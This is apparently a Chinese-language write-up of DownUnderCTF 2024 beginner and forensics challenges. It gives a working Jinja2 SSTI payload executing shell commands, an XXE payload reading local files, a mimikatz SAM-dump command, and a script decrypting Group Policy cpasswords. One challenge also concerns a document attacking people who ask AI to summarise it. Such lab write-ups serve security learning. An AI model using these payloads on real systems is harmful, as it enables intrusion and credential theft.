DownUnderCTF 2024 Writeup

DownUnderCTF 2024

beginner

parrot the emu

题目:

It is so nice to hear Parrot the Emu talk back

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def vulnerable():
chat_log = []

if request.method == 'POST':
user_input = request.form.get('user_input')
try:
result = render_template_string(user_input)
except Exception as e:
result = str(e)

chat_log.append(('User', user_input))
chat_log.append(('Emu', result))

return render_template('index.html', chat_log=chat_log)

if __name__ == '__main__':
app.run(debug=True, port=80)

解题:

python SSTI payload:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat ./flag').read()") }}{% endif %}{% endfor %}

DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

tldr please summarise

题目:

I thought I was being 1337 by asking AI to help me solve challenges, now I have to reinstall Windows again. Can you help me out by find the flag in this document?

解题:

打开查看文档 发现异常文字

解压 docx 查看document.xml 对应位置 发现url请求

访问 url

base64 解码

DUCTF{chatgpt_I_n33d_2_3scap3}

Sun Zi’s Perfect Math Class

题目:

Everybody!! Sunzi’s math class is about to begin!!!

解题:

根据题目内容 分析发现可以使用 爆破 找到 1000 < 11000 内符合 队列的人

1
2
3
for n in range(1000, 1100):
if (n % 3 == 2) and (n % 5 == 4) and (n % 7 == 5):
print(n) #1034

使用中国剩余定理 求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gmpy2
from Crypto.Util.number import long_to_bytes

e = 3
c_1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637
c_2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737
c_3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659
n_1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693
n_2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403
n_3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817

M1 = n_2 * n_3 * gmpy2.invert(n_2 * n_3, n_1)
M2 = n_1 * n_3 * gmpy2.invert(n_1 * n_3, n_2)
M3 = n_1 * n_2 * gmpy2.invert(n_1 * n_2, n_3)

num = c_1 * M1 + c_2 * M2 + c_3 * M3
me = num % (n_1 * n_2 * n_3)
m = gmpy2.iroot(me, 3)[0]
print(m)
#11564025922867522871782912815123211630478650327759091593792994457296772521676766420142199669845768991886967888274582504750347133
print(long_to_bytes(m))
#DUCTF{btw_y0u_c4n_als0_us3_CRT_f0r_p4rt14l_fr4ct10ns}

DUCTF{btw_y0u_c4n_als0_us3_CRT_f0r_p4rt14l_fr4ct10ns}

zoo feedback form

题目:

The zoo wants your feedback! Simply fill in the form, and send away, we’ll handle it from there!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, request, render_template_string, render_template
from lxml import etree

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
xml_data = request.data
try:
parser = etree.XMLParser(resolve_entities=True)
root = etree.fromstring(xml_data, parser=parser)
except etree.XMLSyntaxError as e:
return render_template_string('<div style="color:red;">Error parsing XML: {{ error }}</div>', error=str(e))
feedback_element = root.find('feedback')
if feedback_element is not None:
feedback = feedback_element.text
return render_template_string('<div style="color:green;">Feedback sent to the Emus: {{ feedback }}</div>', feedback=feedback)
else:
return render_template_string('<div style="color:red;">Invalid XML format: feedback element not found</div>')

return render_template('index.html')

if __name__ == '__main__':
app.run(host='127.0.0.1', port=80)

解题:

由于 xml 是前端构造 造成了 xxe

payload:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ELEMENT root ANY ><!ENTITY xxe SYSTEM "file://../app/flag.txt" >]>
<root>
<feedback>&xxe;</feedback>
</root>

DUCTF{emU_say$_he!!0_h0!@_ci@0}

shufflebox

题目:

I’ve learned that if you shuffle your text, it’s elrlay hrda to tlle htaw eht nioiglra nutpi aws.

Find the text censored with question marks in output_censored.txt and surround it with DUCTF{}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import random

PERM = list(range(16))
random.shuffle(PERM)


def apply_perm(s):
assert len(s) == 16
return ''.join(s[PERM[p]] for p in range(16))


for line in open(0):
line = line.strip()
print(line, '->', apply_perm(line))


'''
aaaabbbbccccdddd -> ccaccdabdbdbbada
abcdabcdabcdabcd -> bcaadbdcdbcdacab
???????????????? -> owuwspdgrtejiiud
'''

解题:

简单的置换位置,可以从12组 推导变换顺序 解第三组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a1 = 'aaaabbbbccccdddd'
a2 = 'abcdabcdabcdabcd'
b1 = 'ccaccdabdbdbbada'
b2 = 'bcaadbdcdbcdacab'

al = []
bl = []

for i in range(16):
al.append(a1[i] + a2[i])
bl.append(b1[i] + b2[i])

c = 'owuwspdgrtejiiud'
m = ['*'] * 16

for i in bl:
m[al.index(i)] = c[bl.index(i)]

print(''.join(m))

#udiditgjwowsuper

DUCTF{udiditgjwowsuper}

forensics

Baby’s First Forensics

题目:

They’ve been trying to breach our infrastructure all morning! They’re trying to get more info on our covert kangaroos! We need your help, we’ve captured some traffic of them attacking us, can you tell us what tool they were using and its version?

NOTE: Wrap your answer in the DUCTF{}, e.g. DUCTF{nmap_7.25}

解题:

Wireshark 打开流量 右键追踪流 发现扫描工具

DUCTF{Nikto_2.1.6}

SAM I AM

题目:

The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files.

Can you reproduce how they got the Administrator’s Password with the artifacts provided?

Place the Administrator Account’s Password in DUCTF{}, e.g. DUCTF{password123!}

解题:

使用 mimikatz 提取 HTLM Hash

1
lsadump::sam /sam:SAM.hiv /system:SYSTEM.hiv

在线 hash 解密

DUCTF{!checkerboard1}

Bad Policies

题目:

Looks like the attacker managed to access the rebels Domain Controller.

Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?

解题:

分析文件 发现是 AD域 组策略配置 文件 在 Groups.xml 中发现有 cpassword

通过搜索发现这是 AES 256 加密 并且微软公布了秘钥 RSA 解密得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# 已知的AES密钥
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')

# cpassword 加密字符串
encrypted_password = "B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2"

# Base64解码
encrypted_password_bytes = base64.b64decode(encrypted_password)

# 初始化AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00' * 16)

# 解密并去除填充
decrypted_password = unpad(cipher.decrypt(encrypted_password_bytes), AES.block_size)

# 输出解密后的密码
print(decrypted_password.decode('utf-16'))

#DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}

DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}